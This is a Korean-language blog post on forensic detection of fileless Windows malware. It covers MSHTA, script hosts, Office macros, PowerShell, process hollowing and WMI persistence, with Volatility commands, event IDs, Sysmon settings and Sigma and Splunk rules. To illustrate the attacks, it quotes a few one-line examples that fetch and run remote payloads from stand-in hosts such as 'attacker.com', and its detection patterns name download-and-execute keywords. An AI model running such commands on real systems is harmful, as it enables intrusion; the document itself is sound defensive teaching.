개요
파일리스 악성코드(Fileless Malware)는 하드디스크에 파일을 생성하지 않고 메모리에서만 실행되는 악성코드로, "Living off the Land"(LOL) 기법을 활용하여 시스템에 내장된 정상 도구들을 악용합니다. 이러한 공격은 기존 시그니처 기반 탐지를 우회하며, 64%의 성공률을 보이는 고도화된 위협입니다.
1. MSHTA 기반 파일리스 악성코드
- 기법 설명
> MSHTA.exe는 Microsoft HTML Application Host로, HTML 애플리케이션(HTA)을 실행하는 Windows 내장 도구입니다. 공격자는 MSHTA를 통해 VBScript나 JScript를 실행하여 악성 활동을 수행합니다.
- 공격 방식
- 인라인 스크립트 실행: mshta.exe vbscript:Execute("malicious_code")
- 원격 HTA 파일 실행: mshta.exe http://malicious.site/payload.hta
- 파일 내 HTA 콘텐츠 삽입: 정상 파일에 HTA 콘텐츠를 삽입하여 실행
- DFIR 분석 방법
> 주요 확인 사항
# 의심스러운 MSHTA 명령줄 패턴 검색 Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-Sysmon/Operational"; ID=1} | Where-Object {$_.Message -like "*mshta*" -and ($_.Message -like "*vbscript*" -or $_.Message -like "*javascript*")} |
> 메모리 분석
# Volatility를 이용한 MSHTA 프로세스 분석 python3 vol.py -f memory.raw windows.pslist | grep -i mshta python3 vol.py -f memory.raw windows.cmdline | grep -i mshta python3 vol.py -f memory.raw windows.netstat | grep -i mshta |
- 확인해야 할 윈도우 이벤트 ID
> Event ID 4688 (Security Log): 프로세스 생성 감사
로그 위치: Security 로그
설명: 프로세스 생성 이벤트로 MSHTA.exe 실행 감지
확인 포인트
- Process Name에서 mshta.exe 확인
- Command Line에서 vbscript:, javascript:, http://, https:// 패턴 탐지
- 부모 프로세스가 Office 애플리케이션인지 확인
> Event ID 400 (Windows PowerShell Log)
로그 위치: Windows PowerShell 로그
설명: PowerShell 명령줄 로깅
확인 포인트
- MSHTA에서 호출된 PowerShell 명령어 확인
- 인코딩된 명령어나 다운로드 스크립트 패턴
> Sysmon이 설치 된 경우
- Event ID 1 (Sysmon): MSHTA 프로세스 생성 모니터링
- Event ID 3 (Sysmon): MSHTA의 네트워크 연결 탐지
- 실제 사례
> 2025년 다단계 CAPTCHA 기반 공격에서 MSHTA.exe가 Lumma Stealer와 AsyncRAT 배포에 사용되었으며, 가짜 CAPTCHA 페이지를 통해 사용자를 속여 악성 명령을 실행하도록 했습니다.
2. 윈도우 스크립트 호스트 (WSH) 기반 악성코드
- 기법 설명
> Windows Script Host는 wscript.exe(GUI 모드)와 cscript.exe(콘솔 모드)를 통해 VBScript, JScript 스크립트를 실행하는 시스템입니다. 공격자는 WSH를 악용하여 파일리스 공격을 수행합니다.
- 공격 방식
- VBScript 악성코드: .vbs 파일을 통한 시스템 조작
- JScript 공격: .js 파일을 이용한 메모리 내 코드 실행
- WSF 파일: 여러 스크립트 언어를 통합한 공격
- DFIR 분석 방법
> PowerShell 모니터링
# WSH 활동 탐지 Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-Sysmon/Operational"; ID=1} | Where-Object {$_.Message -match "(wscript|cscript)" -and $_.Message -match "\.js|\.vbs|\.wsf"} |
> AMSI 통합 분석
Windows Script Host는 AMSI(Anti-Malware Scan Interface)와 통합되어 있어, VBScript와 JScript 콘텐츠를 실시간으로 검사할 수 있습니다.
> 레지스트리 분석:
# WSH 설정 확인 reg query "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled |
- 방어 방법
> WSH 비활성화를 위한 레지스트리 설정:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings] "Enabled"=dword:00000000 |
- 확인해야 할 윈도우 이벤트 ID
> Event ID 4688 (Security Log): 명령줄 인수 포함 프로세스 감사
로그 위치: Security 로그
설명: wscript.exe 또는 cscript.exe 프로세스 생성 감지
확인 포인트
- Process Name에서 wscript.exe, cscript.exe 확인
- Command Line에서 .vbs, .js, .wsf 파일 실행 확인
- 의심스러운 스크립트 경로나 임시 디렉토리에서 실행
> Event ID 800 (Windows PowerShell Log)
로그 위치: Windows PowerShell 로그
설명: PowerShell 파이프라인 실행 세부사항
확인 포인트
- VBScript에서 호출된 PowerShell 활동
- 스크립트 블록 내용 분석
> Sysmon이 설치 된 경우
- Event ID 1 (Sysmon): wscript.exe/cscript.exe 프로세스 생성
3. Office 매크로 기반 파일리스 악성코드
- 기법 설명
> Microsoft Office 매크로는 VBA(Visual Basic for Applications)를 사용하여 작업을 자동화하는 기능으로, 공격자들이 파일리스 공격의 진입점으로 악용합니다.
- 공격 방식
- 문서 내 VBA 매크로: Word, Excel 문서에 악성 매크로 삽입
- 자동 실행 매크로: Document_Open, Auto_Open 등 자동 실행 함수 활용
- 난독화된 매크로: Base64 인코딩 및 문자열 조작으로 탐지 회피
- DFIR 분석 방법
> 매크로 추출 및 분석
# olevba를 이용한 매크로 추출 olevba suspicious_document.docm # 매크로 덤프 생성 olevba suspicious_document.docm --decode > macro_dump.txt |
> 주요 확인 패턴
# Office에서 생성된 의심스러운 프로세스 탐지 Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-Sysmon/Operational"; ID=1} | Where-Object { ($_.Message -like "*WINWORD.EXE*" -or $_.Message -like "*EXCEL.EXE*") -and ($_.Message -like "*powershell*" -or $_.Message -like "*cmd.exe*" -or $_.Message -like "*wscript*") } |
> 매크로 악성코드 분석 도구
- OfficeMalScanner: 매크로 분석 전문 도구
- oletools: VBA 매크로 정적 분석
- ViperMonkey: VBA 매크로 동적 분석
- 확인해야 할 윈도우 이벤트 ID
> Event ID 4688 (Security Log)
로그 위치: Security 로그
설명: Office 애플리케이션에서 생성된 자식 프로세스 탐지
확인 포인트
- 부모 프로세스가 WINWORD.EXE, EXCEL.EXE, POWERPNT.EXE인지 확인
- 자식 프로세스가 powershell.exe, cmd.exe, wscript.exe, mshta.exe인지 확인
- Office 프로세스에서 실행된 의심스러운 명령줄 분석
> Application Event Log의 특정 이벤트들
로그 위치: Application 로그
설명: Office 애플리케이션 관련 오류나 경고 이벤트
확인 포인트
- Office 매크로 실행 시 발생하는 애플리케이션 이벤트
- VBA 관련 오류 메시지
> Sysmon이 설치 된 경우
- Event ID 1: Office 애플리케이션에서 생성된 자식 프로세스
- Event ID 7: 의심스러운 DLL 로딩
- 실제 사례 분석
> AgentTesla 배포 매크로 사례
- Excel 문서가 VBA 매크로를 포함
- 매크로가 PowerShell 명령 생성
- PowerShell이 원격 서버에서 페이로드 다운로드
- 메모리 내에서 .NET 어셈블리 실행
4. Living off the Land (LOtL) 기법
- 기법 설명
> LOtL은 공격자가 시스템에 이미 존재하는 정상 도구들을 악용하여 공격을 수행하는 기법입니다. 이는 전통적인 탐지 방법을 우회하고 정상적인 시스템 활동과 구별하기 어렵게 만듭니다.
- 주요 LOtL 도구들
> PowerShell
- 기능: .NET 프레임워크 액세스, 메모리 내 실행, 원격 관리
- 악용 방식: 메모리 내 코드 실행, 파일리스 다운로드, 권한 상승
> Windows Management Instrumentation (WMI)
- 기능: 시스템 관리 및 모니터링
- 악용 방식: 지속성 확보, 원격 실행, 정보 수집
> CertUtil
- 기능: 인증서 관리 도구
- 악용 방식: 파일 다운로드, Base64 인코딩/디코딩
> Rundll32
- 기능: DLL 파일 실행
- 악용 방식: 악성 DLL 실행, 스크립트 우회
- DFIR 분석 방법
> 행동 기반 분석
# 의심스러운 PowerShell 활동 탐지 Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-PowerShell/Operational"; ID=4104} | Where-Object {$_.Message -like "*DownloadString*" -or $_.Message -like "*IEX*" -or $_.Message -like "*Invoke-Expression*"} |
> LOLBin 활동 모니터링
# CertUtil 악용 탐지 Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-Sysmon/Operational"; ID=1} | Where-Object {$_.Message -like "*certutil*" -and $_.Message -like "*-urlcache*"} # Rundll32 악용 탐지 Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-Sysmon/Operational"; ID=1} | Where-Object {$_.Message -like "*rundll32*" -and $_.Message -like "*javascript:*"} |
> 네트워크 연결 분석
# 의심스러운 아웃바운드 연결 Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-Sysmon/Operational"; ID=3} | Where-Object {$_.Message -like "*powershell*" -or $_.Message -like "*certutil*"} |
- 확인해야 할 윈도우 이벤트 ID
> Event ID 4688 (Security Log)
로그 위치: Security 로그
설명: 시스템 내장 도구의 악용 탐지
확인 포인트
- certutil.exe에서 -urlcache, -decode 파라미터 사용
- rundll32.exe에서 javascript: 사용
- regsvr32.exe에서 원격 URL 호출
- bitsadmin.exe를 통한 파일 다운로드
5. PowerShell 기반 파일리스 악성코드
- 기법 설명
> PowerShell은 파일리스 공격의 가장 선호되는 도구로, 메모리 내에서 직접 .NET 코드를 실행할 수 있는 강력한 기능을 제공합니다.
- 고급 공격 기법
> Reflective DLL Injection
# 메모리 내 DLL 로딩 예시 $dllBytes = [System.Convert]::FromBase64String($base64dll) [System.Reflection.Assembly]::Load($dllBytes) |
> 메모리 내 페이로드 실행
# 원격 스크립트 다운로드 및 실행 IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1') |
- DFIR 분석 방법
> PowerShell 로깅 설정
- Module Logging 활성화 (Event ID 4103)
- Script Block Logging 활성화 (Event ID 4104)
- Transcription 활성화
- 확인해야 할 윈도우 이벤트 ID
> Event ID 4103 (Microsoft-Windows-PowerShell/Operational): Module Logging
로그 위치: Microsoft-Windows-PowerShell/Operational
설명: PowerShell 모듈 로깅
확인 포인트
- PowerShell 모듈 실행 세부사항
- 파이프라인 실행 정보
- 난독화된 명령어 탐지
- 변수 초기화 및 명령 호출 추적
> Event ID 4104 (Microsoft-Windows-PowerShell/Operational): Script Block Logging
로그 위치: Microsoft-Windows-PowerShell/Operational
설명: PowerShell 스크립트 블록 로깅
확인 포인트
- 실행된 PowerShell 스크립트 전체 내용
- 런타임 시 난독화 해제된 코드
- 동적으로 생성된 스크립트 블록
- DownloadString, IEX, Invoke-Expression 사용
- FromBase64String 디코딩 활동
- 메모리 내 .NET 어셈블리 로딩
> Event ID 4688 (Security Log): Process Creation
로그 위치: Security 로그
설명: PowerShell 프로세스 생성
확인 포인트
- PowerShell 프로세스 생성 기록
- 명령줄 인수 포함
- -EncodedCommand 파라미터 사용
- -WindowStyle Hidden 등 은밀한 실행 옵션
- 비정상적인 부모 프로세스에서 PowerShell 호출
- 메모리 포렌식 분석
> Volatility 3를 이용한 PowerShell 분석
# PowerShell 프로세스 식별 python3 vol.py -f memory.raw windows.pslist | grep -i powershell # PowerShell 명령줄 히스토리 추출 python3 vol.py -f memory.raw windows.cmdline | grep -i powershell # PowerShell 콘솔 히스토리 덤프 python3 vol.py -f memory.raw windows.filescan | grep -i "ConsoleHost_history" |
> PowerShell 아티팩트 위치
- %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
- 레지스트리: HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
- 실제 공격 사례
> Kaspersky에서 발견한 은행 타겟 공격
- 도메인 컨트롤러 메모리에서 Meterpreter 코드 탐지
- PowerShell 스크립트가 Windows 레지스트리에 저장
- NETSH를 이용한 터널링으로 C2 통신
- SC 명령으로 서비스 등록하여 지속성 확보
6. 메모리 상주 악성코드 (Memory-Resident Malware)
- 기법 설명
> 메모리 상주 악성코드는 RAM에만 존재하여 시스템 재시작 시 사라지지만, 실행 중에는 강력한 회피 능력을 보입니다.
- 고급 메모리 공격 기법
> Process Hollowing
- 정상 프로세스 생성 후 메모리 공간을 악성 코드로 대체
- 정상 프로세스 외형을 유지하면서 악성 활동 수행
> Reflective DLL Injection
- 정상 프로세스에 악성 DLL을 메모리 내에서 직접 로딩
- 파일 시스템을 거치지 않는 DLL 실행
- DFIR 분석 방법
> 라이브 메모리 획득
# WinPmem을 이용한 메모리 덤프 winpmem_v3.3.rc3.exe --output memory.aff4 --format aff4 # FTK Imager를 이용한 메모리 획득 # File → Capture Memory → 목적지 설정 → 실행 |
> Volatility를 이용한 분석
# 숨겨진 프로세스 탐지 python3 vol.py -f memory.raw windows.psxview # 프로세스 인젝션 탐지 python3 vol.py -f memory.raw windows.malfind # 네트워크 연결 분석 python3 vol.py -f memory.raw windows.netstat # VAD (Virtual Address Descriptor) 분석 python3 vol.py -f memory.raw windows.vadinfo --pid |
> 메모리 이상 징후
- 실행 권한을 가진 메모리 페이지
- 비정상적인 메모리 할당 패턴
- 프로세스 간 메모리 조작
- 확인해야 할 윈도우 이벤트 ID
> Event ID 4688 (Security Log)
로그 위치: Security 로그
설명: 의심스러운 프로세스 생성 패턴 탐지
확인 포인트
- 정상 프로세스에서 생성된 비정상적인 자식 프로세스
- 시스템 프로세스 경로 외부에서 실행되는 시스템 유사 프로세스명
- 짧은 실행 시간 후 종료되는 프로세스
> Event ID 4689 (Security Log)
로그 위치: Security 로그
설명: 프로세스 종료 이벤트
확인 포인트
- 비정상적으로 빠른 프로세스 종료
- 프로세스 생성과 종료 시간 간격 분석
7. 레지스트리 상주 악성코드
- 기법 설명
> 레지스트리 상주 악성코드는 Windows 레지스트리에 악성 페이로드를 저장하여 지속성을 확보하고 탐지를 회피합니다.
- 주요 공격 방식
> Run Key 악용
HKLM\Software\Microsoft\Windows\CurrentVersion\Run HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
> 서비스 레지스트리 조작
HKLM\System\CurrentControlSet\Services |
> 레지스트리 내 스크립트 저장
HKCU\Software\Microsoft\ |
- DFIR 분석 방법
> 레지스트리 분석 도구
# Autoruns를 이용한 자동 실행 항목 확인 autorunsc.exe -a -v -c -h -s # 레지스트리 키 검사 reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /s reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s |
> Volatility 레지스트리 분석
# 레지스트리 하이브 목록 python3 vol.py -f memory.raw windows.registry.hivelist # 특정 키 내용 확인 python3 vol.py -f memory.raw windows.registry.printkey --key "Software\Microsoft\Windows\CurrentVersion\Run" # 레지스트리 값 검색 python3 vol.py -f memory.raw windows.registry.printkey --key "Software" --recurse | grep -i "base64\|powershell" |
> 의심스러운 레지스트리 패턴
- Base64 인코딩된 데이터
- PowerShell 명령어
- 스크립트 내용
- 난독화된 문자열
- 확인해야 할 윈도우 이벤트 ID
> Event ID 4657 (Security Log): 지속성 확보 메커니즘 탐지
로그 위치: Security 로그
설명: 레지스트리 값 수정 감지
확인 포인트
- Run, RunOnce 키의 값 생성/수정
- 의심스러운 Base64 인코딩된 데이터
- PowerShell 명령어나 스크립트 내용 저장
- 서비스 관련 레지스트리 키 변경
> Event ID 4656 (Security Log)
로그 위치: Security 로그
설명: 레지스트리 키 접근 요청
확인 포인트
- 중요한 레지스트리 키에 대한 접근 시도
- 비정상적인 프로세스의 레지스트리 접근
8. WMI 이벤트 구독 (WMI Event Subscription)
- 기법 설명
> WMI 이벤트 구독을 통해 시스템 이벤트 발생 시 악성 코드를 실행하는 지속성 기법입니다.
- 공격 구성 요소
- Event Filter: 트리거 조건 정의
- Event Consumer: 실행할 액션
- FilterToConsumerBinding: 필터와 컨슈머 연결
- DFIR 분석 방법
> WMI 구독 조회
# WMI 이벤트 필터 확인 Get-WmiObject -Namespace root\subscription -Class __EventFilter # WMI 이벤트 컨슈머 확인 Get-WmiObject -Namespace root\subscription -Class __EventConsumer # 바인딩 관계 확인 Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding |
> 의심스러운 WMI 활동
# 악성 WMI 구독 탐지 Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-Sysmon/Operational"; ID=19,20,21} | Where-Object {$_.Message -like "*powershell*" -or $_.Message -like "*cmd*"} |
- 확인해야 할 윈도우 이벤트 ID
> Event ID 5857-5861 (Microsoft-Windows-WMI-Activity/Operational)
로그 위치: Microsoft-Windows-WMI-Activity/Operational
설명: WMI 활동 및 이벤트 구독 감지
확인 포인트
- Event ID 5857: WMI 작업 시작
- Event ID 5858: WMI 클라이언트 실패
- Event ID 5861: WMI 이벤트 구독 바인딩
> Event ID 4662 (Security Log)
로그 위치: Security 로그
설명: 객체에 대한 작업 수행
확인 포인트
- WMI 네임스페이스 접근 및 쿼리 실행
- WMI 이벤트 구독 생성 활동
> Sysmon이 설치 된 경우
- Event ID 19: WMI Event Filter Activity
- Event ID 20: WMI Event Consumer Activity
- Event ID 21: WMI Event ConsumerToFilter Activity
9. 프로세스 할로잉 (Process Hollowing)
- 기법 설명
> 정상 프로세스를 생성한 후 그 메모리 공간을 악성 코드로 대체하는 고급 인젝션 기법입니다.
- 공격 과정
- 정상 프로세스를 일시 중단 상태로 생성
- 프로세스 메모리 내용을 언맵핑
- 악성 코드를 메모리에 매핑
- 프로세스 실행 재개
- DFIR 분석 방법
> Volatility HollowFind 플러그인
# 프로세스 할로잉 탐지 python3 vol.py -f memory.raw windows.hollowfind # 프로세스 메모리 섹션 분석 python3 vol.py -f memory.raw windows.vadinfo --pid # 실행 가능 메모리 영역 덤프 python3 vol.py -f memory.raw windows.malfind --pid |
> 이상 징후
- 프로세스 이미지와 메모리 내용 불일치
- 비정상적인 메모리 보호 속성
- 예상치 못한 코드 섹션
- 확인해야 할 윈도우 이벤트 ID
> Event ID 4688 (Security Log)
로그 위치: Security 로그
설명: 의심스러운 프로세스 생성 패턴
확인 포인트
- 정상 프로세스가 일시 중단 상태로 시작
- 부모-자식 프로세스 관계의 이상 패턴
- 예상과 다른 명령줄 인수
> Sysmon이 설치 된 경우
- Event ID 1: 부모-자식 프로세스 관계
- Event ID 7: 의심스러운 이미지 로딩
- Event ID 8: CreateRemoteThread 탐지
- Event ID 10: 프로세스 액세스 모니터링
10. DLL 인젝션 및 사이드로딩
- 기법 설명
> 정상 프로세스에 악성 DLL을 주입하거나 DLL 검색 순서를 악용하는 기법입니다.
- 공격 방식
- Classic DLL Injection: SetWindowsHookEx, CreateRemoteThread 활용
- Manual DLL Mapping: 수동 메모리 매핑
- DLL Side-Loading: DLL 검색 순서 악용
- DFIR 분석 방법
> Volatility DLL 분석
# 프로세스별 DLL 목록 python3 vol.py -f memory.raw windows.dlllist --pid # DLL 모듈 상태 확인 python3 vol.py -f memory.raw windows.ldrmodules --pid # 인젝션된 코드 탐지 python3 vol.py -f memory.raw windows.malfind --pid |
- 확인해야 할 윈도우 이벤트 ID
> Event ID 4688 (Security Log)
로그 위치: Security 로그
설명: DLL 관련 프로세스 활동 탐지
확인 포인트
- rundll32.exe를 통한 의심스러운 DLL 실행
- 시스템 디렉토리 외부의 DLL 로딩
- 서명되지 않은 DLL 실행
> Sysmon이 설치 된 경우
- Event ID 7 분석
# 의심스러운 DLL 로딩 탐지 Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-Sysmon/Operational"; ID=7} | Where-Object { $_.Message -like "*unsigned*" -or $_.Message -like "*temp*" -or $_.Message -like "*suspicious_path*" } |
◎ 포괄적인 메모리 포렌식 절차
1. 라이브 메모리 획득
- WinPmem 사용법
# 메모리 덤프 생성 (AFF4 형식) winpmem_v3.3.rc3.exe -o memory.aff4 # RAW 형식으로 변환 winpmem_v3.3.rc3.exe --export PhysicalMemory --output memory.raw memory.aff4 |
- FTK Imager 사용
- File → Capture Memory 선택
- 목적지 경로 및 파일명 설정
- 메모리 덤프 생성 실행
2. Volatility 3 기본 분석 워크플로우
- 시스템 정보 수집
# 시스템 정보 확인 python3 vol.py -f memory.raw windows.info # 프로세스 목록 python3 vol.py -f memory.raw windows.pslist # 프로세스 트리 python3 vol.py -f memory.raw windows.pstree |
- 네트워크 분석
# 네트워크 연결 python3 vol.py -f memory.raw windows.netstat # 네트워크 스캔 python3 vol.py -f memory.raw windows.netscan |
- 악성코드 탐지:
# 코드 인젝션 탐지 python3 vol.py -f memory.raw windows.malfind # 숨겨진 프로세스 탐지 python3 vol.py -f memory.raw windows.psxview # 후킹 탐지 python3 vol.py -f memory.raw windows.ssdt |
3. 고급 메모리 분석
- 레지스트리 분석
# 레지스트리 하이브 목록 python3 vol.py -f memory.raw windows.registry.hivelist # Run 키 분석 python3 vol.py -f memory.raw windows.registry.printkey --key "Software\Microsoft\Windows\CurrentVersion\Run" # 서비스 키 분석 python3 vol.py -f memory.raw windows.registry.printkey --key "System\CurrentControlSet\Services" |
- 파일 시스템 분석
# 파일 목록 python3 vol.py -f memory.raw windows.filescan # 핸들 분석 python3 vol.py -f memory.raw windows.handles # 뮤텍스 분석 python3 vol.py -f memory.raw windows.mutantscan |
◎ 이벤트 로그 기반 종합 탐지 전략
1. PowerShell 활동 모니터링
- Script Block Logging 설정
# 그룹 정책을 통한 설정 Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell "Turn on PowerShell Script Block Logging" → Enabled "Log script block invocation start / stop events" → Enabled |
- 핵심 모니터링 패턴:
# 의심스러운 PowerShell 활동 탐지 Get-WinEvent -FilterHashtable @{LogName="Microsoft-Windows-PowerShell/Operational"; ID=4104} | Where-Object { $_.Message -match "(DownloadString|IEX|Invoke-Expression|FromBase64String|EncodedCommand)" -or $_.Message -match "(New-Object.*Net\.WebClient|Net\.WebRequest)" -or $_.Message -match "(Reflection\.Assembly.*Load|LoadFile|LoadFrom)" } |
2. Sysmon 설정 최적화
- 핵심 이벤트 ID
- Event ID 1: 프로세스 생성 (의심스러운 부모-자식 관계)
- Event ID 3: 네트워크 연결 (C2 통신 탐지)
- Event ID 7: 이미지 로딩 (DLL 인젝션 탐지)
- Event ID 8: CreateRemoteThread (프로세스 인젝션)
- Event ID 10: 프로세스 액세스 (크리덴셜 덤핑)
- Event ID 11: 파일 생성 (드롭퍼 탐지)
- Event ID 13: 레지스트리 값 설정 (지속성 확보)
- 최적화된 Sysmon 설정
<Sysmon schemaversion="4.82"> <EventFiltering> <ProcessCreate onmatch="include"> <CommandLine condition="contains">powershell</CommandLine> <CommandLine condition="contains">cmd.exe</CommandLine> <CommandLine condition="contains">wscript</CommandLine> <CommandLine condition="contains">cscript</CommandLine> <CommandLine condition="contains">mshta</CommandLine> </ProcessCreate> <NetworkConnect onmatch="include"> <Image condition="contains">powershell.exe</Image> <Image condition="contains">mshta.exe</Image> <Image condition="contains">rundll32.exe</Image> </NetworkConnect> </EventFiltering> </Sysmon> |
3. 종합 탐지 쿼리
- 파일리스 공격 탐지 쿼리 (Splunk/Elastic)
# PowerShell 기반 파일리스 공격 index=windows EventCode=4104 OR EventCode=4103 OR EventCode=1 | search (Message="*DownloadString*" OR Message="*IEX*" OR Message="*Invoke-Expression*") | eval attack_technique="PowerShell Fileless" | table _time, ComputerName, User, Message, attack_technique # MSHTA 기반 공격 index=windows EventCode=1 | search Image="*mshta.exe*" AND (CommandLine="*vbscript*" OR CommandLine="*javascript*") | eval attack_technique="MSHTA Fileless" | table _time, ComputerName, User, CommandLine, attack_technique # Office 매크로 공격 index=windows EventCode=1 | search (ParentImage="*WINWORD.EXE*" OR ParentImage="*EXCEL.EXE*") AND (Image="*powershell.exe*" OR Image="*cmd.exe*" OR Image="*wscript.exe*") | eval attack_technique="Office Macro Fileless" | table _time, ComputerName, User, ParentImage, Image, CommandLine, attack_technique |
◎ 실제 사례 연구
- 사례 1: SocGholish 파일리스 로더
> 공격 과정
- 가짜 브라우저 업데이트를 통한 JavaScript 페이로드 배포
- JavaScript가 PowerShell을 통해 메모리 내 실행
- 추가 페이로드 다운로드 및 실행
- 인포스틸러 최종 배포
> 탐지 지표
- Event ID 4104: JavaScript → PowerShell 전환
- Event ID 3: 의심스러운 네트워크 연결
- Event ID 1: 비정상적인 프로세스 체인
- 사례 2: Remcos RAT 파일리스 배포
> 공격 벡터
- 세금 관련 미끼를 사용한 LNK 파일 배포
- MSHTA.exe를 통한 HTA 파일 실행
- PowerShell 셸코드 로더 실행
- 메모리 내 Remcos RAT 배포
> DFIR 분석 결과
- Event ID 1: LNK → MSHTA → PowerShell 체인
- 메모리 분석: 셸코드 인젝션 패턴 발견
- 네트워크 분석: C2 서버 통신 확인
- 사례 3: Kaspersky 분석 은행 대상 공격
> 기법 조합
- Meterpreter 코드의 메모리 상주
- PowerShell 스크립트의 레지스트리 저장
- NETSH를 이용한 터널링
- SC 명령으로 서비스 지속성
> 핵심 IOC
- 레지스트리: 인코딩된 PowerShell 스크립트
- 메모리: Meterpreter 시그니처
- 네트워크: NETSH 터널링 패턴
◎ 대응 및 복구 전략
1. 즉시 대응 절차
- 격리 및 봉쇄
# 네트워크 격리 Disable-NetAdapter -Name "*" -Confirm:$false # 의심스러운 프로세스 종료 Stop-Process -Name "powershell" -Force Stop-Process -Name "mshta" -Force # 서비스 중지 Stop-Service -Name "suspicious_service" -Force |
- 증거 수집
# 메모리 덤프 생성 winpmem_v3.3.rc3.exe --output incident_memory.aff4 # 이벤트 로그 백업 wevtutil epl System system_backup.evtx wevtutil epl Security security_backup.evtx wevtutil epl "Microsoft-Windows-PowerShell/Operational" powershell_backup.evtx # 레지스트리 백업 reg export HKLM\Software registry_software.reg reg export HKCU\Software registry_user.reg |
2. 복구 및 강화
- 시스템 복구
# 악성 레지스트리 키 삭제 Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "suspicious_entry" # WMI 이벤트 구독 정리 Get-WmiObject -Namespace root\subscription -Class __EventFilter | Where-Object {$_.Name -like "*suspicious*"} | Remove-WmiObject # 예약된 작업 정리 Get-ScheduledTask | Where-Object {$_.TaskName -like "*suspicious*"} | Unregister-ScheduledTask |
- 보안 강화
# PowerShell Execution Policy 제한 Set-ExecutionPolicy Restricted -Force # AMSI 강화 Set-MpPreference -DisableRealtimeMonitoring $false # Application Control 설정 # WDAC 정책 적용 |
◎ 예방 및 탐지 강화 방안
1. 모니터링 인프라 구축
- 필수 로깅 설정
- PowerShell Script Block Logging (Event ID 4104): PowerShell 기반 공격의 핵심 증거
- PowerShell Module Logging (Event ID 4103)
- Process Creation Auditing (Event ID 4688): 모든 파일리스 기법의 기본 탐지 포인트
- Sysmon 전체 이벤트 (Event ID 1-29)
- 그룹 정책을 통한 활성화
> Process Creation Auditing(프로세스 생성 감사): Event ID 4688
- 경로: Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Detailed Tracking
- 설정: Audit Process Creation → Success 활성화
> 명령줄 포함 설정
- 경로: Computer Configuration > Policies > Administrative Templates > System > Audit Process Creation
- 설정: Include command line in process creation events → Enabled
> PowerShell 로깅
- 경로: Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell
- 설정:
Turn on Module Logging → Enabled
Turn on PowerShell Script Block Logging → Enabled
> 레지스트리 감사
- 경로: Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Audit Policy
- 설정: Audit Object Access → Success 및 Failure 활성화
- 중앙화된 로그 수집
# ELK Stack 설정 예시 input { beats { port => 5044 } } filter { if [event_id] == 4104 { mutate { add_field => { "attack_category" => "powershell_execution" } } } if [event_id] == 1 and [parent_image] =~ /mshta\.exe/ { mutate { add_field => { "attack_category" => "mshta_spawn" } } } } |
2. 자동화된 탐지 규칙
SIGMA 규칙 예시
title: Suspicious PowerShell Download and Execute status: experimental description: Detects suspicious PowerShell commands that download and execute code references: - https://github.com/SigmaHQ/sigma tags: - attack.execution - attack.t1059.001 logsource: product: windows service: powershell detection: selection: EventID: 4104 ScriptBlockText|contains: - 'DownloadString' - 'IEX' - 'Invoke-Expression' - 'FromBase64String' condition: selection falsepositives: - Legitimate administration scripts level: high |
3. 행동 기반 분석
- 머신러닝 모델 적용
- 비정상적인 프로세스 체인 탐지
- 메모리 사용 패턴 분석
- 네트워크 트래픽 이상 탐지
- 사용자 행동 베이스라인 비교
- 위협 헌팅 쿼리
-- 의심스러운 프로세스 체인 SELECT timestamp, hostname, parent_process, child_process, command_line FROM process_events WHERE parent_process IN ('winword.exe', 'excel.exe', 'outlook.exe') AND child_process IN ('powershell.exe', 'cmd.exe', 'mshta.exe', 'wscript.exe') AND command_line LIKE '%http%' ORDER BY timestamp DESC; |
4. 중요 탐지 포인트
- 공통 의심 패턴
- 인코딩된 명령어: Base64, URL 인코딩 패턴
- 원격 다운로드: HTTP/HTTPS URL을 통한 페이로드 다운로드
- 메모리 실행: 파일 시스템 우회 실행 패턴
- 프로세스 체인: 비정상적인 부모-자식 프로세스 관계
- 시간 패턴: 짧은 시간 내 연속적인 프로세스 생성/종료
- 우선순위 모니터링
- Event ID 4688: 모든 파일리스 기법의 기본 탐지 포인트
- Event ID 4104: PowerShell 기반 공격의 핵심 증거
- Event ID 4657: 지속성 확보 메커니즘 탐지
- WMI Activity 로그: 고급 지속성 기법 탐지
◎ 결론
파일리스 악성코드는 현대 사이버 위협의 핵심 요소로, 전통적인 시그니처 기반 탐지를 우회하는 정교한 기법들을 사용합니다. MSHTA, Windows Script Host, Office 매크로, Living off the Land 기법들은 각각 고유한 특성과 탐지 방법을 가지고 있으며, 효과적인 대응을 위해서는
- 포괄적인 로깅: PowerShell, Sysmon, 보안 이벤트 로그의 적절한 설정
- 메모리 포렌식 역량: Volatility를 활용한 체계적인 메모리 분석
- 행동 기반 탐지: 정적 시그니처를 넘어선 동적 분석
- 자동화된 대응: SOAR를 통한 신속한 격리 및 복구
- 지속적인 위협 헌팅: 프로액티브한 위협 탐지 활동
이러한 종합적인 접근법을 통해 파일리스 악성코드의 은밀한 활동을 효과적으로 탐지하고 대응할 수 있으며, 조직의 사이버 보안 역량을 크게 향상시킬 수 있습니다. 지속적인 위협 인텔리전스 업데이트와 최신 탐지 기법의 도입이 이러한 진화하는 위협에 대응하는 핵심입니다.
'ANALISYS > Malware' 카테고리의 다른 글
Windows 악성코드 .NET 분석의 출발점: dnSpy의 "Go to Entry Point" 기능 (1) | 2025.07.04 |
---|---|
